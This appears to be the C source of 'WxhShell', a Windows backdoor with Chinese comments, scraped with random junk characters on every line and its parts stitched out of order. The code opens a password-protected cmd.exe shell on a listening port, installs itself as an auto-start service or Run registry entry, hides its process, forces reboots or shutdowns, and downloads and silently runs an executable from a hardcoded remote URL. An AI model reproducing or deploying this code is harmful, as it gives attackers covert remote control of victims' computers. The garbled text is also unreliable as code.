    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q,m1mIf  
    if(Boot(SHUTDOWN)) U^.kp#x#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6<h ==I   
    else { zo~5(O@  
    closesocket(wsh); Y(3X5v?[  
    ExitThread(0); ^TF71u o  
    } /I/gbmc)  
    break; I c 2R\}q  
    } 2/m4|  
  // 获取shell hFp\,QSx  
  case 's': { 8\ { 1y:|  
    CmdShell(wsh); _gl7Ma  
    closesocket(wsh); ^\ocH|D  
    ExitThread(0); JcDcYB  
    break; 1Vy8TV3D  
  } \DC0`  
  // 退出 :@8N${7`$A  
  case 'x': { :7[20n}w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q71~Y:7f  
    CloseIt(wsh); i~0x/wSl_  
    break; 3"HW{=  
    } $\A=J  
  // 离开 H%z9VJ*!0  
  case 'q': { waI:w,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Wz`P#/  
    closesocket(wsh); 6=o'.03\f  
    WSACleanup(); Ods/1 KW  
    exit(1); lrL:v~g  
    break; 6z keWR  
        } |`,AA a  
  } -.=:@H}r  
  } /\0g)B;]  
}lP'bu  
  // 提示信息 he\ pW5p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LX2Re ]&  
} dFVx*{6  
  } 9 O2??N7f  
_aj,tz  
  return; j}fu|-  
} 9H#;i]t&  
J':x]_;  
// shell模块句柄 -b`O"Ck*  
int CmdShell(SOCKET sock) d,d ohi  
{ QxI^Bx  
STARTUPINFO si; \\UOpl  
ZeroMemory(&si,sizeof(si)); (@&+?A"6`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QRKr2:o{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 64R~ $km  
PROCESS_INFORMATION ProcessInfo; ly~tB LH}  
char cmdline[]="cmd"; zz_(*0,Qcr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0hr4}FL8  
  return 0; dn}'B%  
} NA;OT7X[  
SW WeN#Q  
// 自身启动模式 sf5F$  
int StartFromService(void) ~,O&A B  
{ V+Y;  
typedef struct fDD^?/^  
{ P4{!/&/  
  DWORD ExitStatus; 3s B9t X  
  DWORD PebBaseAddress; VSLi{=#  
  DWORD AffinityMask; k|D =Q  
  DWORD BasePriority; ,|G~PC8  
  ULONG UniqueProcessId; I:Q3r"1  
  ULONG InheritedFromUniqueProcessId; cfhiZ~."T  
}   PROCESS_BASIC_INFORMATION; !l5&>1?  
'}BYMEd/m%  
PROCNTQSIP NtQueryInformationProcess; N,ysv/zq7  
-4!S?rHwd+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GMW,+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /|#";QsPN  
}$X/HK  
  HANDLE             hProcess; &X&msEM  
  PROCESS_BASIC_INFORMATION pbi;  ;U<}2M!g  
cl1>S3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Or<OmxJg  
  if(NULL == hInst ) return 0; oj%(@6L  
(F=q/lK$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *pj^d><  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (JdZl2A.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w gU2q|  
XkRPD  
  if (!NtQueryInformationProcess) return 0; YE;Tpji  
h6~ H5X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZBsV  
  if(!hProcess) return 0; n&\DJzW\#  
7Q>bJ Ek7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /:-Y7M*   
1.IEs:(;  
  CloseHandle(hProcess); He)vl.  
HyGu3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A(6n- zL  
if(hProcess==NULL) return 0; Pe?=M[u2  
fb|%)A=  
HMODULE hMod; /0z#0gNp  
char procName[255]; y*H rv  
unsigned long cbNeeded; #,B+&SK{  
k.<OO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S2<evs1d  
BBDt^$  
  CloseHandle(hProcess); !(nFq9~~Q  
A3eus  
if(strstr(procName,"services")) return 1; // 以服务启动 b`& :`  
RcpKv;=iB  
  return 0; // 注册表启动 }!*CyO*  
} 9:JQ*O$  
CKy/gTN  
// 主模块 WWjc.A$  
int StartWxhshell(LPSTR lpCmdLine) v\3$$T)  
{ J7FzOwd1h  
  SOCKET wsl; f=paa/k0  
BOOL val=TRUE; KybrSa  
  int port=0; G3${\'<  
  struct sockaddr_in door; k@}g?X`8  
K'U8ft*_  
  if(wscfg.ws_autoins) Install(); 2}0S%R(  
/vNHb _-  
port=atoi(lpCmdLine); ' o(7@   
2#)z%K6T  
if(port<=0) port=wscfg.ws_port; O/Mx $Q3re  
JyDg=%-$2  
  WSADATA data; V)jF]u~g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E'+?7ZGWj  
^^(!>n6r^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d*R('0z{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @XQItc<  
  door.sin_family = AF_INET; 8>AST,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^u-;VoK  
  door.sin_port = htons(port); 0x,NMS  
hQ\W~3S55  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1w}D fI  
closesocket(wsl); 5ggsOqH  
return 1;  LOi/+;>  
} s6(bTO.  
RfQ*`^D  
  if(listen(wsl,2) == INVALID_SOCKET) { TxP8&!d  
closesocket(wsl); _"h1#E  
return 1; ICD; a  
} -jk-ve  
  Wxhshell(wsl); /pQUu(~h_  
  WSACleanup(); ,d@FO|G#pt  
VI k]`)#  
return 0; H>Q X?>j  
b*TQKYT  
} w)Z-, J  
kK_9I (7c  
// 以NT服务方式启动 =-E%vnU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jX&/ e'B  
{ 9a$ 7$4m  
DWORD   status = 0; g). IF.  
  DWORD   specificError = 0xfffffff; 9o+e3TXp#  
5bo')^xa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iq<nuO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H8V@KB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `=P=i>,  
  serviceStatus.dwWin32ExitCode     = 0; BPd *@l  
  serviceStatus.dwServiceSpecificExitCode = 0; &\e8c g  
  serviceStatus.dwCheckPoint       = 0;  J;GYo|8  
  serviceStatus.dwWaitHint       = 0; 1~y\MD*-j  
")i_{C,b^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); khVfc  
  if (hServiceStatusHandle==0) return; IiM=Z=2  
3XcFBFE  
status = GetLastError(); &~V6g(9  
  if (status!=NO_ERROR) MuF{STE>->  
{ X86r`}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o?/fObV@(  
    serviceStatus.dwCheckPoint       = 0; zbAyYMtEk  
    serviceStatus.dwWaitHint       = 0; Mz: "p.  
    serviceStatus.dwWin32ExitCode     = status; S!8q>d,%L  
    serviceStatus.dwServiceSpecificExitCode = specificError; !SdP<{[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UO4z~  
    return; #n.XOet<\  
  } ",pd 9  
*:"p*qV*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5%]O'h  
  serviceStatus.dwCheckPoint       = 0; +wGFJLHJ  
  serviceStatus.dwWaitHint       = 0; `]4tJJy$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ` M!'PMX  
} }ws(:I^  
@y8) "m"  
// 处理NT服务事件,比如:启动、停止 JnPwqIF1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F4$9r^21r  
{ K$c?:?wmo  
switch(fdwControl) ,:xses*7  
{ ,SH^L|I  
case SERVICE_CONTROL_STOP: u?SxaGEa  
  serviceStatus.dwWin32ExitCode = 0; '}9 %12\^h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q .g44>  
  serviceStatus.dwCheckPoint   = 0; R c  
  serviceStatus.dwWaitHint     = 0; 7Cx-yv  
  { t/J|<Ooj?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r#NR3_@9  
  } sI`oz|$  
  return; j>A=Wa7  
case SERVICE_CONTROL_PAUSE: |Ge!;v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?*:BgaR_  
  break; B8>3GZi  
case SERVICE_CONTROL_CONTINUE: jE!?;} P1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {w mP  
  break; 4^7*R  
case SERVICE_CONTROL_INTERROGATE: 9a]JQ  
  break; C}]143a/Q  
}; IgEVz^W?h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8=-#LVo~c  
} eE" *c>I  
2`A\'SM'4  
// 标准应用程序主函数 AA5UOg\jI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B pp(5  
{ +pxtar  
x.>&|Ej  
// 获取操作系统版本 UV\&9>@L  
OsIsNt=GetOsVer(); HXgf=R/$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8gJg7RxL  
z-m:l;  
  // 从命令行安装 <;hy-Q()D  
  if(strpbrk(lpCmdLine,"iI")) Install(); }*c[} VLN  
~ep^S^V+  
  // 下载执行文件  t: 03  
if(wscfg.ws_downexe) { vz^=o'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zKFiCP K  
  WinExec(wscfg.ws_filenam,SW_HIDE); <G#Q f|&  
} t;W'<.m_  
yAQ)/u[|  
if(!OsIsNt) { E&0]s  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qn \=P*j  
HideProc(); Z9 zsvg  
StartWxhshell(lpCmdLine); &:#"APX  
} )JOo|pr-K  
else WD|pG;Gq  
  if(StartFromService()) *~^M_wej  
  // 以服务方式启动 wp<f{^ et  
  StartServiceCtrlDispatcher(DispatchTable); y<m }dW6[\  
else /J!~0~F  
  // 普通方式启动 {4r }jH  
  StartWxhshell(lpCmdLine); OQ+kOE&  
;RS^^vDm  
return 0; s:J QV  
} G&@_,y|  
R:U!HE8j   
R]N"P:wf@  
Lv@'v4.({  
=========================================== {; 3a^K  
4YA1~7R  
!-tVt D  
!=]cASPGD  
@gi / 1cq  
E+P-)bRa  
" ^]9.$$GU\A  
95*=& d  
#include <stdio.h> 7upN:7D-  
#include <string.h> `FByME  
#include <windows.h> ><{Lh@{  
#include <winsock2.h> Tz{-L%*#  
#include <winsvc.h> J )UCy;Y  
#include <urlmon.h> P]H4!}M  
vY]7oX+  
#pragma comment (lib, "Ws2_32.lib") b"eG8  
#pragma comment (lib, "urlmon.lib") :U6Q==B$_  
8>'vzc/* >  
#define MAX_USER   100 // 最大客户端连接数 7*@BCu6  
#define BUF_SOCK   200 // sock buffer H'jo 3d~+  
#define KEY_BUFF   255 // 输入 buffer F+9(*|x%  
WB\chb%ej#  
#define REBOOT     0   // 重启 ^"+Vx9H"{  
#define SHUTDOWN   1   // 关机 /e7BW0$1  
7w?N-Q$y  
#define DEF_PORT   5000 // 监听端口 G],W{<Pe  
|t_SN,)dd  
#define REG_LEN     16   // 注册表键长度 Q\aC:68  
#define SVC_LEN     80   // NT服务名长度 ),Igu  
AizLzR$OG  
// 从dll定义API JxlZ,FF$@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lz(}N7SLa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zZiga q"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `FmRoMW9+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T_oL/x_;  
:)kWQQ+,  
// wxhshell配置信息 x*wr8$@J  
struct WSCFG { .Kssc lSD1  
  int ws_port;         // 监听端口 838@jip  
  char ws_passstr[REG_LEN]; // 口令 3PEW0b*]Pf  
  int ws_autoins;       // 安装标记, 1=yes 0=no "BvDLe':  
  char ws_regname[REG_LEN]; // 注册表键名 &J,&>CFc  
  char ws_svcname[REG_LEN]; // 服务名 8YO` TgW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +[Q`I*C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ML7qrc;Rx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K&up1nZ@(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h%!,|[|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~/;shs<9EM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V(F1i%9lg  
#./8inbG  
}; }M &hcw<  
cfL:#IM  
// default Wxhshell configuration b#Vm;6BHD1  
struct WSCFG wscfg={DEF_PORT, $Fv|w9  
    "xuhuanlingzhe", 2 P9{?Y  
    1, 9.Yn]O  
    "Wxhshell", .>^U mM  
    "Wxhshell", 0f"la=6  
            "WxhShell Service", >(a[b@[K  
    "Wrsky Windows CmdShell Service", 1Wz5Iv#Ez  
    "Please Input Your Password: ", 9KMtPBZ  
  1, dwVo"_Yr  
  "http://www.wrsky.com/wxhshell.exe", | ?ma?  
  "Wxhshell.exe" +{cCKRm  
    }; V(OD^GU  
s;xErH@RA  
// 消息定义模块 G9h Bp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RT"JAJTi/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K4^mG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j4E`O%@^  
char *msg_ws_ext="\n\rExit."; #XeabcOQ  
char *msg_ws_end="\n\rQuit."; bOK0^$k  
char *msg_ws_boot="\n\rReboot..."; 5/i]Jni  
char *msg_ws_poff="\n\rShutdown..."; .>@]Im  
char *msg_ws_down="\n\rSave to "; CwsC)]{/o  
L%I8no-Q  
char *msg_ws_err="\n\rErr!"; p0C|ECH  
char *msg_ws_ok="\n\rOK!"; @<B$LJ|jdG  
&\<?7Qj3U|  
char ExeFile[MAX_PATH]; jWh}cM=  
int nUser = 0; "\"sM{x  
HANDLE handles[MAX_USER]; I1!m;5-c9k  
int OsIsNt; HQV#8G#B  
E*8).'S%k  
SERVICE_STATUS       serviceStatus; 4?l:.\fB:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;%4N@Z  
c)zwyBz  
// 函数声明 Z)G@ahO Q  
int Install(void); JvM:xy9  
int Uninstall(void); E 7"`D\*  
int DownloadFile(char *sURL, SOCKET wsh); MzIn~[\  
int Boot(int flag); EN)0b,ax  
void HideProc(void); {\ J%i|u  
int GetOsVer(void); JmbWEX|  
int Wxhshell(SOCKET wsl); =7 -@&S=?s  
void TalkWithClient(void *cs); d.p%jVO)"  
int CmdShell(SOCKET sock); dA$qzQ  
int StartFromService(void); K"VRHIhfg  
int StartWxhshell(LPSTR lpCmdLine); |%fM*F^7/  
6='x}Qb\H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #)( D_*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \(ju0qFqH  
9^^:Y3j  
// 数据结构和表定义 qfyuq]  
SERVICE_TABLE_ENTRY DispatchTable[] = _hi8m o  
{ `D0H u!;  
{wscfg.ws_svcname, NTServiceMain}, *w6(nG'M{  
{NULL, NULL} }RZN3U=  
}; ;%PI  
2~QN#u|UC3  
// 自我安装 P yN{  
int Install(void) L*1yK*  
{ </|m^$v  
  char svExeFile[MAX_PATH]; b!z kQ?h  
  HKEY key; >e QFY^d5  
  strcpy(svExeFile,ExeFile); HI{IC!6  
nmUMg  
// 如果是win9x系统,修改注册表设为自启动 )"f*Mp  
if(!OsIsNt) { B-[qS;PY%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P30|TU+B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pFwhv w  
  RegCloseKey(key); CF/8d6}Vf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z460a[Wl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mtq^6`JJ'  
  RegCloseKey(key); 2Z*^)ZQB  
  return 0; KNqs=:i  
    } X>ck.}F  
  } '%[r9 w  
} EGK7)O'W  
else {  Yk yB  
<{1=4PA  
// 如果是NT以上系统,安装为系统服务 Pe?b# G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1ika'  
if (schSCManager!=0) 0-Vx!(  
{ !Bn,f2  
  SC_HANDLE schService = CreateService YCo qe,5  
  ( }Z8DVTpX}  
  schSCManager, GA2kg7  
  wscfg.ws_svcname, YY 8vhnw  
  wscfg.ws_svcdisp, OsNJ;B  
  SERVICE_ALL_ACCESS, +cC$4t0$^A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P6u%-#  
  SERVICE_AUTO_START, rjL4t^rT  
  SERVICE_ERROR_NORMAL, |M(0CYO  
  svExeFile, 0v'!(&m  
  NULL, [PL]!\NJ  
  NULL, YH'j"|{  
  NULL, aX|LEZ;D>  
  NULL, o/mGd~  
  NULL YB"=eld  
  ); \Qei}5P,  
  if (schService!=0) z-?WU  
  { c_FnJ_++f  
  CloseServiceHandle(schService); & _mp!&5XV  
  CloseServiceHandle(schSCManager); 7aJ:kumDZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UGK,+FN  
  strcat(svExeFile,wscfg.ws_svcname); oE'Flc.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =x} p>#o,J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .?*TU~S  
  RegCloseKey(key); Fle pM*  
  return 0; 8 J;\Z  
    } L<_zQ  
  } 7r wNjY#  
  CloseServiceHandle(schSCManager); &,C;_3   
} _4~q&? }V  
} dn:/8~B"X  
3Tz~DdB  
return 1; D 4\ * ,w  
} Q(h/C!rKe  
T{zz3@2?  
// 自我卸载 yf2$HF  
int Uninstall(void) p+; La  
{ }<g- 0&GLm  
  HKEY key; y\c-I!6>26  
<F-W fR  
if(!OsIsNt) { C,nU.0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W,ik ;P\  
  RegDeleteValue(key,wscfg.ws_regname); 9\KMU@Ne  
  RegCloseKey(key); `nEe-w^9)I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w~}.c:B  
  RegDeleteValue(key,wscfg.ws_regname); 6'qu[ ~ }Q  
  RegCloseKey(key); OmAa$L,'w  
  return 0; _ e94  
  } 41NVF_R6J  
} %mMPALN]{  
} w}r~Wk^dLI  
else { B),Z*lpC  
{x<yDDIv_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0:q R,NW^#  
if (schSCManager!=0) xoyH5ZK@  
{ Wd]MwDcO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *1CZRfWI  
  if (schService!=0) q1vsvL9Q  
  { >!%F$$  
  if(DeleteService(schService)!=0) { KIYs[0*k  
  CloseServiceHandle(schService); #Iwxt3K  
  CloseServiceHandle(schSCManager); #Hi$squJ  
  return 0; Bf{c4YiF  
  } QV9 z81[  
  CloseServiceHandle(schService); jRNDi_u?Wb  
  } )jHH-=JM  
  CloseServiceHandle(schSCManager); eD?f|bif  
} &AhkP=Yw  
} zHk7!|%Y  
U['|t<^uf  
return 1; hLF;MH@  
} B):hm  
{`=k$1  
// 从指定url下载文件 D) ;w)`  
int DownloadFile(char *sURL, SOCKET wsh) FgTWym_  
{ ]Ofs, U^  
  HRESULT hr; Pj{Y  
char seps[]= "/"; 22FHD4  
char *token; /L*JHNu"_  
char *file; mk]8}+^.  
char myURL[MAX_PATH]; BSHtoD@e7  
char myFILE[MAX_PATH]; [LDY;k~5+  
vnD `+y  
strcpy(myURL,sURL); c!dc`R  
  token=strtok(myURL,seps); 0*XCAnJ^_  
  while(token!=NULL) <zt124y-6  
  { $#/f+kble  
    file=token; jCp`woV  
  token=strtok(NULL,seps); ] 8dzTEjk  
  } ']DUCu  
yNOoAnGT W  
GetCurrentDirectory(MAX_PATH,myFILE); IHcR/\mz  
strcat(myFILE, "\\"); Uc d~-D  
strcat(myFILE, file); Qkb=KS%z  
  send(wsh,myFILE,strlen(myFILE),0); 55Ag<\7  
send(wsh,"...",3,0); }b=Cv?Zg$m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _q=ua;I&  
  if(hr==S_OK) *m*sg64Zw  
return 0; +wxDK A_  
else u?I2|}#  
return 1; l" +q&3Zx  
!"<~n-$B  
} E8"$vl&c]  
L=wpZ`@ y  
// 系统电源模块 ?z0N- A2C2  
int Boot(int flag) P9jPdls  
{ ?3a:ntX h  
  HANDLE hToken; F P>.@ Y  
  TOKEN_PRIVILEGES tkp; xASH- 9  
]3]=RuQK2  
  if(OsIsNt) { SaSj9\o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "r[Ob]/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (0u(<qA\  
    tkp.PrivilegeCount = 1; W.Z`kH *B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jH?!\F2)+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a9y+FCA  
if(flag==REBOOT) { t$g@+1p4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 @%XR8ss  
  return 0; <d~si^*\ch  
} ?tx."MZ  
else { j9~lf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Gf`nJDV  
  return 0; xq<X:\O  
} cV:Ak~PKl  
  } |&U{ z?  
  else { 2B"&WKk  
if(flag==REBOOT) { frT<9$QUL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }No8to  
  return 0; T( fcE  
} -Pc6W9$  
else { aKz:hG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _)[UartKx  
  return 0; 3@\J#mR  
} #jM-XK  
} Bu"5NB  
P7\?WN$p  
return 1; .FC|~Z1T<F  
} \IZY\WU}2  
IR|#]en  
// win9x进程隐藏模块 vKBi jmE  
void HideProc(void) I &;9  
{ AK(x;4  
`k`P;(:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Go(Td++HS  
  if ( hKernel != NULL ) ]i\;#pj}  
  { n&3}F?   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GQ2/3kt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ym_p49  
    FreeLibrary(hKernel); nt8& Mf  
  } w|c200Is}e  
iF Zqoz  
return; Oi<yT"7  
} Ug\$Ob5=q  
XIn,nCY;  
// 获取操作系统版本 %Ni"*\  
int GetOsVer(void) 5GbC}y>  
{ ;OZl' . %`  
  OSVERSIONINFO winfo; \3`r/,wY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 33g$mUB  
  GetVersionEx(&winfo); dozC[4mF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \P7<q,OGS  
  return 1; hkMVA  
  else yM Xf&$C  
  return 0; #mkf2Z=t-  
} MUSsanCA  
Q89fXi0Ivb  
// 客户端句柄模块 Z)md]Twt  
int Wxhshell(SOCKET wsl) < n/ 2  
{ /xj`'8  
  SOCKET wsh; 9}5o> iR  
  struct sockaddr_in client; VS>xvF  
  DWORD myID; et?FX K"y  
wf`A&P5tF  
  while(nUser<MAX_USER) d,toUI  
{ gloJ;dE B  
  int nSize=sizeof(client); d/!\iLF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mM:%-I\$   
  if(wsh==INVALID_SOCKET) return 1; -e"A)Bpl(  
T^vhhfCUr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;GIA`=a %  
if(handles[nUser]==0) w[C*w\A\M  
  closesocket(wsh); b0Dco0U(  
else RFoCM^  
  nUser++;  ?tA%A  
  } EjMVlZC>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m`}mbm^  
5Dzf[V^]`  
  return 0; $ ^@fV=e  
} 3 &mpn,  
Ft38)T"2R\  
// 关闭 socket :w+vi 7l$  
void CloseIt(SOCKET wsh) mm;sf  
{ w!'y,yb%  
closesocket(wsh); .N( X. C  
nUser--; `]^W#6l  
ExitThread(0); n'0r (  
} .f"1(J8  
[S1 b\f#  
// 客户端请求句柄 V>/,&~0  
void TalkWithClient(void *cs) vn!5@""T  
{ hQ'W7EF  
YmOj.Q&  
  SOCKET wsh=(SOCKET)cs; +abb[  
  char pwd[SVC_LEN]; $JUkw sc  
  char cmd[KEY_BUFF]; ja9=b?]0,  
char chr[1]; "=1gA~T  
int i,j; @yo6w}3+-  
4EmdQn  
  while (nUser < MAX_USER) { zc$}4o  
N`?|~g3  
if(wscfg.ws_passstr) { AUu<@4R7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DQ30\b"gU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1\~I "$}  
  //ZeroMemory(pwd,KEY_BUFF); Va?i#<a  
      i=0; ZZ  Hjv  
  while(i<SVC_LEN) { +3J<vM}dy  
}0tHzw=#%e  
  // 设置超时 4.^T~n G  
  fd_set FdRead; k%X $@NP  
  struct timeval TimeOut; *CPpU|  
  FD_ZERO(&FdRead); 8|^&~Rl4  
  FD_SET(wsh,&FdRead); qoOwR[NDcq  
  TimeOut.tv_sec=8; qYJ<I'Ux O  
  TimeOut.tv_usec=0; +Gg|BTTL/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~_Fx2T:X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _VVq&t}  
_",< at  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l i)6^f#  
  pwd=chr[0]; L""ZI5J{F9  
  if(chr[0]==0xd || chr[0]==0xa) { ;S \s&.u  
  pwd=0; W@ &a  
  break; ,SidY\FzH  
  } H(gY =  
  i++; ar#73f  
    } <b .p/uA  
QkC*om'/!  
  // 如果是非法用户,关闭 socket v0VQ4>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @&Z^WN,x  
} : NA(nA 3  
3UaW+@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qZ'2M.;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qxDMDMN  
"T{WOGU+  
while(1) { Km $o@  
}Nd1'BVf  
  ZeroMemory(cmd,KEY_BUFF); >}\s-/  
>$TvCw  
      // 自动支持客户端 telnet标准   9TQVgkW  
  j=0; ' tY(&&  
  while(j<KEY_BUFF) { +<.o,3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LRts W(A/  
  cmd[j]=chr[0]; !^&VZh  
  if(chr[0]==0xa || chr[0]==0xd) { #>("(euXMF  
  cmd[j]=0; f}"eN/T  
  break; 3>^]r jFw  
  } 2|=hF9  
  j++; PPH;'!>s"  
    } ch :rAx  
&3Yj2 Fw  
  // 下载文件 u*): D~A  
  if(strstr(cmd,"http://")) { }6!/Nb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C#nT@;VO5  
  if(DownloadFile(cmd,wsh)) 2.I|8d[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ge1. HG  
  else \*=wm$p&*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M:GpyE%  
  } eG1V:%3  
  else { ; cvMNU$fN  
| bRU=dg  
    switch(cmd[0]) { [K$5 Rm5  
  RrvC}9ar  
  // 帮助 IHdA2d?.]  
